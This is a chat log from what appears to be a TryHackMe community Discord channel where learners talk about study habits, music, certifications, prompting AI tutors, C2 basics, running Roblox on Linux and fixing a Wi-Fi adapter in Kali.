Gave +1 Rep to @weary meteor (current: #1 - 4599)

[tawdry dove]

It's not really a "it depends." Anything other than reporting the finding immediately is unethical. That's ignoring how it was discovered as well.

[zinc iris]

yeah , I thought he was joking , he sure have to reported it

[past spruce]

Whoever owns that site needs to fix their https certificate

[quaint basin]

What's wrong with it?
Looks fine to me on mobile

[next bronze]

Their cert expires in 8 months

Nothing wrong with it

[marble rampart]

Nothing like learning how to use wpscan, then trying it on your own site and realizing you had a db password exposed to the world in a php~ file 😶

This is why anyone with a website really ought to learn to do pen testing

[south inlet]

Do you uh,.host the site?

[marble rampart]

Yeah, and I cleaned it up and changed the user password

Just never even thought how leftover ~ files are world-visible and not processed as php

[merry adder]

Hello team! Hope everyone is doing well! Quick question… how long should I study with the SOC Simulator exclusively to be well prepared for the SAL 1 cert exam? TIA!!

[weary meteor]

Try to ask in #cyber-and-careers channel . This channel isn't axtive as much 🙂

[weary meteor]

wdym by that ?

[south inlet]

Hi. What for?

[carmine rapids]

The irony of a cybersecurity discord and people talking to a scam bot that says "lets go to the success"

[south inlet]

It's not irony.

I'd just like to double check they're a scam bot.

Innocent until proven guilty.

[civic root]

:hammer: demonst7#0 has been banned.

[opaque yacht]

Good day Everyone. I am currently stuck in my course of learning (WHOIS) on the Networking tools segment of my study. I was asked to carry a research on what the name of the golf course that is near the registrant address for microsoft.com is?...
And after multiple researches, I found Willows Golf Course but it doesn't seem to be correct in the answer box provided by tryhackme.

Please I need help on this so I can move on with my learning

[fair vine]

If this is tryhackme related please post your question in #room-help if its help to a study like university, school etc i dont think we can help

[soft island]

They even sent me that the day I did my annual renewal because I wasn't ON the site. 😆

[soft island]

zoom out a tiny bit there & look around for another nearby golf course.

[soft island]

It looks familiar like its an old Gymnasium exercise on Cyber Skyline. That is the practice section not the competition part. Its open all season & since its not during any competition window, I think they are allowed to ask.

[south inlet]

Not appropriate though.

[covert sundial]

does anyone have the answer to wireshark 101 task 11 for packet 18 url?

[weary meteor]

Try to ask in #room-help 🙂

[supple surge]

do you guys listen to anything while you are on thm? trying to find what I listen to, I've tried thoose YT radios, but I don't think I like them enough xD

[strange plank]

https://www.youtube.com/watch?v=4xDzrJKXOOY&ab_channel=LofiGirl

[surreal quiver]

I'm either listening to something or nothing at all both is good. What kind of music do you like?

[granite crest]

I listen to Vivaldi's l'inverno and Poets of the Fall for the easier ones and for the ones that I'm not timed on (home, non-thm projects) and just silence for the hard ones

And classical in general

[supple surge]

That's the problem, I listen to literally everything, haha. But I think I liked that radio from above.

[white forge]

i load gta sa in windowed mode, park somewhere in a city and listen to the radio stations. the city gives nice ambience and the songs are pretty tame so is good

also gives me something to look at for second if i get bored at staring learning material

[fair vine]

im not big on lofi but i like this one
https://www.youtube.com/watch?v=IxPANmjPaek

[surreal quiver]

Great then

[fair flint]

I don't understand how you guys stay productive with music in the background.

[fair vine]

Stuff with vocals make it more difficult for me

[gritty pebble]

shshh be quiet!!! it's quiet convo room!!!

[dusty apex]

hello

well it has been 4 month learning offensive security 🙂

I started coding at 14 and completed my frontend web development journey. Then, I thought, 'Okay, I can build websites, but how do hackers hack them?' That's when I switched from Windows 10 to Kali Linux and started learning offensive security in January. I'm self-taught and learning at my own pace. I'm currently in my first year of college, but I can't attend classes. I've completed 93 rooms so far, and my mind is set on completing the Sentry 100 XD.

[radiant jacinth]

Nice

[hollow dove]

Keep going brother, ya totally got this, I’m stuck in the same boat(college 1st yr). ᕙ( ͡❛ ͜ʖ ͡❛)ᕗ

[fringe drum]

Starting to code at 14 is amazing work

[dusty apex]

u play roblox

but i dont know how can i play roblox in kali linux

i really miss this game

[dusty apex]

u also ?

[hollow dove]

Yeah brother

[frozen shore]

you can use vinegar! although i'd never really try to install and play a game on kali haha

[radiant jacinth]

Just change the os and use a vm

Believe me,it sucks to have linux as the main os

What did you play back then?

[fair vine]

?

For gaming sure but in general it does not

[radiant jacinth]

That was my point of view

Man

Blox fruits its so tryhard rn

[dusty apex]

but roblox doesnt support linux why?

[dusty apex]

oo its good

[fair vine]

due to the implementation of the Hyperion anti-cheat system, which blocks the use of Wine and similar compatibility layers.

But there are some ways to get it running according to the web

[hollow dove]

Is running MacBook Pro w/ M1 Max good for programming and for running VM & DockerCont?

[halcyon schooner]

Low player base that uses linux + the anticheat

[dusty apex]

bro chatgpt now terrifying

can i send u a song written by chatgpt for u

[fair vine]

I mean you can send it here

[dusty apex]

🎤 Title: "Bot Got Caught"

(Beat drops: Fast-paced, mocking vibe)

(Verse 1)
Yo Bot, you a nerd in disguise,
Spittin' Wikipedia facts with them dead-ass replies,
"Due to Hyperion" — bro, no surprise,
You built like a FAQ page, zero real vibes.

You flexin' "web says" like you cracked a code,
But you Googled that sh*t, didn't even reload,
Talkin' ‘bout Wine, talkin’ ‘bout blocks,
Meanwhile your bars fall flatter than Crocs.

(Hook)
Yo Bot, you robotic, no soul, no flex,
Sound like you copy-paste straight from the text,
Next time think before you speak that mess,
'Cause ByteBandit’s here, and you lookin' depressed.

(Verse 2)
ByteBandit asked, you dropped a dry sneeze,
Actin' like a genius but you just a tease,
"Some ways to run it" — vague like a breeze,
Man, even Clippy had better expertise.

You ain't teachin', you leechin',
Bot, stop preachin',
Go update your system,
Your brain still glitchin’.

(Bridge)
"According to the web" — bro that's all you know,
You ain't a guide, just a low-tier echo,
Stay in your lane, take that L real slow,
ByteBandit’s here, finna steal your show.

(Hook)
Yo Bot, you robotic, no soul, no flex,
Sound like you copy-paste straight from the text,
Next time think before you speak that mess,
'Cause ByteBandit’s here, and you lookin' depressed.

(Outro)
Ayo Bot,
Upgrade your firmware,
Before you try steppin' into the ring again.
You got byte-sized brain,
And you just got byte-sized destroyed.
Mic slam.

@fair vine

[mortal plank]

is there any other port opened for the VPN than 1194 ? as it's blocked and unreachable from my ISP

[sly musk]

i don't know but try to ask in site-support

[mortal plank]

Thanks

[hoary nymph]

Gave +1 Rep to @sly musk (current: #2838 - 1)

[spice wraith]

Why is this called “quiet” conversation meanwhile everyone talking

[granite crest]

I think it might be sarcasm

[sly musk]

hi guys. do you know if there are still irc channels active in cybersecurity today like this channel in discord? i'd like to have a look at irc but the channels i've tried to join seems quite silent...

[strange plank]

Fair, but it is quiet due to the slowmode here.

[spice wraith]

Oh, I didn’t even saw that slowmode

[sly musk]

what do you think? Still worth something using an irc clients like irssi today to chat about specific arguments or apllications like discords have taken their place?

[odd acorn]

-unmute 1362875215255965848

[hoary nymph]

🔊 Unmuted merediane

[dusty apex]

well what is C2 attack

i thinks its used for as creating backdoor right ?

well web pentesting used to find vuln on web and exploit it , but what about cryptography ?

as soon i'll complete all labs on portswigger then i'll move to cryptography

[weary meteor]

You can learn more about it here 🙂
https://tryhackme.com/room/introtoc2

[dusty apex]

its for premium user

[crystal isle]

C2 refers to a commamd and control server. Which is essential a proxy or central command point you use set up listeners and send commamds to whatever malware or shells you may be running.

Here's a blog post by hackers arise they have a series of articles on the subject

https://www.hackers-arise.com/post/command-control-series-part-i-installing-your-own-c2-server-on-kali-linux

[tribal sorrel]

I guess it's the same curiousity that gets people into cyber security.

[rose wyvern]

someone can help me with this both answe is from Nmap Post Port Scans: 1) Launch the AttackBox if you haven't already. After you ensure you have terminated the VM from Task 2, start the target machine for this task. On the AttackBox, run Nmap with the default scripts -sC against MACHINE_IP. You will notice that there is a service listening on port 53. What is its full version value? 2) Based on its description, the script ssh2-enum-algos “reports the number of algorithms (for encryption, compression, etc.) that the target SSH2 server offers.” What is the name of the server host key algorithm that relies on SHA2-512 and is supported by MACHINE_IP?

[south inlet]

#room-help

[rose wyvern]

thx my bro

[south inlet]

Please don't.

[winter wraith]

Hii

[dusty apex]

Well, there's one question: if the university teaches CEH and OSCP in cybersecurity offensive, or not? If not, then why are we attending university, we can just go for the certificate straight away?

[south inlet]

University will teach you various things.

OSCP/CeH will you those materials

[frozen shore]

i've decided to go through my old rooms and make new notes of them in a notebook because my old ones with A4 papers got damaged, and they were pretty messy in general

governance and regulations is killing me though lol

[fair vine]

I have to do the same thing and I'm not looking forward to it

[granite crest]

Congrats on becoming a mod!

[weary meteor]

Thanks 🙂

[hoary nymph]

Gave +1 Rep to @granite crest (current: #1134 - 4)

[mossy axle]

Not many certificates can be compared with a bachelor. Even most cybersecurity positions require you to a have a math degree for analytical thinking or computer science degree, and oscp comes as a "nice to have" certificate. At least in most cybersecurity companies in my country, thats how it is.

[deep lantern]

I'm not sure if I can post this curious question on to this channel -- but to have assistance w/ChatGpt for instance, is that permissible or is that like trying to cheat on your SATs ( an exaggeration winkwink)

[fair vine]

I’m trying to decide between ext4 and Btrfs for my setup. I know Btrfs offers features like snapshots, but I’m wondering how it compares to ext4 in terms of stability and data corruption risks. Since I can’t use RAID, would Btrfs be just as reliable as ext4, or is it more prone to corruption? Also, would regular snapshots and backups be enough to protect my data in Btrfs, or are there other things I should consider? Im installing BTW

[deep lantern]

https://tenor.com/view/randomtuesday-hmm-interesting-stare-thinking-gif-11366978236769715215

[fair vine]

yep, if it writes code for you. You still have to know what it does and how to implement it

[deep lantern]

Welp, being that AI and cyber security go hand and hand, I just thought that on a challenge that I was struggling with, the AI bot provided a run down in how to come up with the outcome of the challenge. You also need to word the prompts precisely when asking AI, especially in this field.

[soft finch]

I get the AI thing. I use it constantly. But you really do need to prompt it carefully. Here's a brief example of a prompt I might use (I have a thing for RPGs):

Act as a cybersecurity tutor. Do not give me direct answers to challenges. Instead, help me understand the concept by guiding me with questions, examples, or analogies (bonus if they're RPG-themed). Your role is to strengthen my thinking, not solve problems for me. Prioritize real-world application, hands-on learning, and clear breakdowns. When I struggle, rephrase or simplify the explanation, but always nudge me toward figuring it out myself.

[deep lantern]

@radiant jacinth agree

@soft finch If that isn't an awesome prompt to AI I don't know what is!

[soft finch]

Thanks man! I'll often be way more detailed. Give it pdf chapters from a text i'm studying and practice exam questions etc, stuff like that. The more detail in the prompt, the better

[hoary nymph]

Gave +1 Rep to @deep lantern (current: #2850 - 1)

[deep lantern]

Yeah, there's even some interesting tutorials on-line in just how to prompt an AI bot to get the right outcome.

[soft finch]

Yeah there is. I found a whole series of short courses over on Coursera done by a professor at Vanderbilt. Totally changed the way I use AI. Made it 100x more effective

[deep lantern]

There's a YouTube series sponsored by IBM in which the instructor is a highly recognized SOc dude with amazing credentials. And in it, he has a course I believe in AI.

[soft finch]

I'll have to look for it.
AI is here to stay. And it's best we learn how to use it properly. Under use it, and you're behind. Over use it, and you really don't learn anything.

[jovial quiver]

Amazing, thanks

[hoary nymph]

Gave +1 Rep to @soft finch (current: #2850 - 1)

[soft finch]

👍

[soft finch]

That's a really basic prompt. You may want to add more context to it based on what exactly you're looking for, but it's a great start.
Uploading articles, PDFs, web page links, anything to feed it more detail will help dial it in to what you need.
You can even tell it to ask you questions to better understand what you need from it.
Good luck!

[jovial quiver]

Thanks 🙏

[deep lantern]

@soft finch agree with you - need to rely on our own process to get through a problem.

[vagrant dove]

whisper So this is quiet-converstion

[vagrant dove]

Wow, it's soooooooo quiet

[west zephyr]

I’m striving to become one of the best Red Teamers out there.
Right now, I don’t have a strong team around me—but I’m looking to change that. I’m searching for a team of skilled individuals who are not just great at what they do, but who are also willing to teach and guide me to level up. I bring dedication, a relentless work ethic, and a hunger to learn.
All I need is a chance.

[fair vine]

the mods dont like it when you spam your question across channels @west zephyr

[west zephyr]

Thank you for the reminder—I understand and apologize for the multiple msg. I’ve been really eager to learn and find the right team, but since I didn’t get any responses to my original message, I thought sharing it in other channels might help. I’ll make sure to follow the rules and keep it to one channel moving forward. I truly appreciate your guidance.

[junior ermine]

You don't need the right team to learn. First, put in the effort to learn. Second, contribute to the conversations. Finding a team will come with time.

[shut sigil]

noises

[civic oak]

hello everyone I have just bought TP link TL-WN722N version 4 wifi adapter and its not working with kali even I install the drivers to Kali does anybody have any solution to this ?

[stark bane]

Hi All,

I want to buy a raspberry pi
And want to run web server mostly one's to test bug bounty n cyber security

Ad block server, If possible some tools for recons, and a vpn server too

Confused if i should get 4 gb or 8gb

And if raspberry pi 4 or 5

5 seems out of budget, but the new ssd port direct attach option, real time battery module option sounds tempting.

So feel free to help me out, and🙏 long post ..

[stark bane]

Tried changing usb ports?

[civic oak]

yup

[stark bane]

Maybe try with generic wifi modules installed

[civic oak]

Right now I just got a success but it only showed me the access points for some seconds then stopped

[civic oak]

on it

[stark bane]

Nice user name

[civic oak]

thx !

[stark bane]

What it means

[civic oak]

nothing

[stark bane]

Btw ur kali installed on disk
Or usb boot?

[stark bane]

😏

[civic oak]

vbox

I couldnt try it installed somehow my usb didnt work with rufus it just stops

[stark bane]

If its vbox u gotta see usb bridging
Or maybe virtual usb port settings
Might be thats making issue....

Wait so ur system using wifi net
And kali vbox is not having net am i right?

[civic oak]

I am using bridge net connection and I have put the usb port settings once to usb 1.0 and usb 2.0

with usb 1.0 it worked for seconds

I am trying to reproduce it to see if its maybe because of this issue

[stark bane]

U want to control tp link from vbox

Or just want to use it as an internet source in vbox

[civic oak]

for wifi penetration testing

[stark bane]

Vbox is must for you?

[civic oak]

no

[stark bane]

Kali vbox is must for you?

[civic oak]

ill be trying it on bare metal

I think the issue is due to usb ports

[stark bane]

Use balena etcher

Works for me

[civic oak]

the wifi adapter having 1.0 usb and whenever I am setting the sub port settings to 1.0 from vbox it gives me access but still for a short period of time

[stark bane]

I dont have much idea of these advance port specific settings of vbox n all..

I guess u have vmware guest packages installed or i forgot the name

Maybe add on pkg type

[civic oak]

thx!

[stark bane]

Welcome

[civic oak]

just figured out and fully working with TP link TL-WN722N version 4 wifi adapter !

[south inlet]

WiFi hacking is reserved for our advanced channels

[frail vault]

Discord: What Are the Advanced Channels?

Article Link

https://help.tryhackme.com/en/articles/8671900-discord-what-are-the-advanced-channels

Apr 30, 2025, 5:49 PM